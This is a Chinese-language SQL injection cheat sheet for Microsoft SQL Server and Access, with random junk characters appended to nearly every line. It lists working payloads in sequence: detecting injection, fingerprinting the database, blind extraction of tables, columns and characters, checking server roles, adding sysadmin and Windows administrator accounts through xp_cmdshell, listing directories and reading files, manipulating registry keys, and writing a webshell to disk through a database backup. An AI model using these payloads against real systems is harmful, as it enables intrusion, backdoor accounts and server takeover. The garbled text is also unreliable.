1.判断是否有注入;and 1=1 ;and 1=2 F']Vg31c
2.初步判断是否是mssql ;and user>0 =pWpHbB.
FVG|5'V^
3.注入参数是字符'and [查询条件] and ''=' F~a5yW:R=)
O|,+@qtH
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Fhn883
?>q=Nf^ Q.
5.判断数据库系统 =Cs$0aA
pvy;L[c
;and (select count(*) from sysobjects)>0 mssql PGT!HdX#{
mUr@w*kq|p
;and (select count(*) from msysobjects)>0 access I>/`W
3D\.Sj%
^'QcP5Fv
oD{V_/pdx
6.猜数据库 ;and (select Count(*) from [数据库名])>0 A#1aO
f]T1:N*t
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 g/+M&k$
$$ _ uQf
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 hl}#bZ8]
/G[y
24 Q
9.(1)猜字段的ascii值(access) =i%2/kdi0b
PyYKeo=
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 0x^$q?
\A
T<zonx1
(2)猜字段的ascii值(mssql) 7u5B/M!
9][Mw[k>
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 c}Z,xop<P{
rA*,)I_v@
10.测试权限结构(mssql) AG}'
W
ZM;EjS1
[$[t.m
ieBW 0eMi
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- >;xEzc!W3*
rF~q"9
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- +*0THol-
|&n dQ(!l
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- AaTtYd
O-T/H-J`
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- n^&QOII@>
R~RY:[5?w
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- *kyy''r
8" 8{Nf-"
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- xDADJ>u2K
mSQ!<1PM
;and 1=(select IS_MEMBER('db_owner'));-- yvDzxu
4vqu(w8
L
R<UjhCvx.
aE{b65'Dt
11.添加mssql和系统的帐户 "6KOql3
Cc Ni8Wg_
;exec master.dbo.sp_addlogin username;-- sef!hS06
;exec master.dbo.sp_password null,username,password;-- 't)j
fE7WLV2I>
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 8-?n<h%8E
dJ24J+9}]j
;exec master.dbo.xp_cmdshell 'net user username password ixKQh};5/
kIWQ`)'
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- M!X@-t#
UO:>^,(j
;exec master.dbo.xp_cmdshell 'net user username password /add';-- BM&'3K_y
Q ;k_q3
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- +#B%Y K|LR
A5H[g`&
!uO|T'u0a
*c3o&-ke9
12.(1)遍历目录 9 oq(5BG,
cQ+,F2
;create table dirs(paths varchar(100), id int) :He:Bdk
/=r&9P@Ay<
;insert dirs exec master.dbo.xp_dirtree 'c:\' \17)=W
n.1a1 Tf
;and (select top 1 paths from dirs)>0 &R^mpV5
_R-#I
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) HKxrBQr78
LoCxoAg
"R9kF-
H`io|~Q
(2)遍历目录 fZ
%ZV
HPCA,*YR`
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- _v$mGZpGY
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 W\KZFrV@
@ics
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 I"
j7
A,=l9hE'
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 wK\SeX
3QR-8
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3K0J6/mc
fV5#k@,")
15s?QSKj
1gm{.*G
13.mssql中的存储过程 _%L3?PpF"
X@D3
xp_regenumvalues 注册表根键, 子键
E;|\?>
5
+
Jy
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Sv>aZ
x)Th2es\
xp_regread 根键,子键,键值名 @%fkW"y:
<'vM+Lk
;exec xp_regread \Fe5<G'v
zO\"$8q*
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 X0P$r6 ;
PCIC*!{
xp_regwrite 根键,子键, 值名, 值类型, 值 LnyA 5T
m76]INq
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 g,W#3b6>j
:-
5Mn3*
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 d8r+UP@#
\Q)~'P3
xp_regdeletevalue 根键,子键,值名 /kWWwy<
~g,QwaA[
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 .s9Iymz
SMy&K[hJ[
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 LpiLk| 2i
AP~!YwLW
pKJ[e@E^
SwL\=nq+~
14.mssql的backup创建webshell EXi+pm
q_K1L
use model 2>r.[
@6Mo_4)O
create table cmd(str image); r\1*N.O3|O
DxD0iJ=W
insert into cmd(str) values (''); j>:T)zhyY
@]7\.>)
backup database model to disk='c:\l.asp'; ynd}w
G'
oy'+n-
YS~x-5OE\
}v!6BU6<Q
15.mssql内置函数 0qZ)$YKq
g[n8N{s
;and (select @@version)>0 获得Windows的版本号 Lr~K3nb
?t"PawBWE
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3HiW1*5W
lt]U?VZ
;and (select user_name())>0 爆当前系统的连接用户 QRjt.Ry|
%In"Kh*
;and (select db_name())>0 得到当前连接的数据库 h=tY 5]8
3$b(iI< "
$5o<Mj
/l`XJs
16.简洁的webshell ?|/}~nj7
f:SF&t*
use model r6)1Y`K=9
n"
~*9'
create table cmd(str image); %xruPWT:k
&Y>u2OZ
insert into cmd(str) values (''); -$q/7,os
|{nI.>
backup database model to disk='g:\wwwtest\l.asp';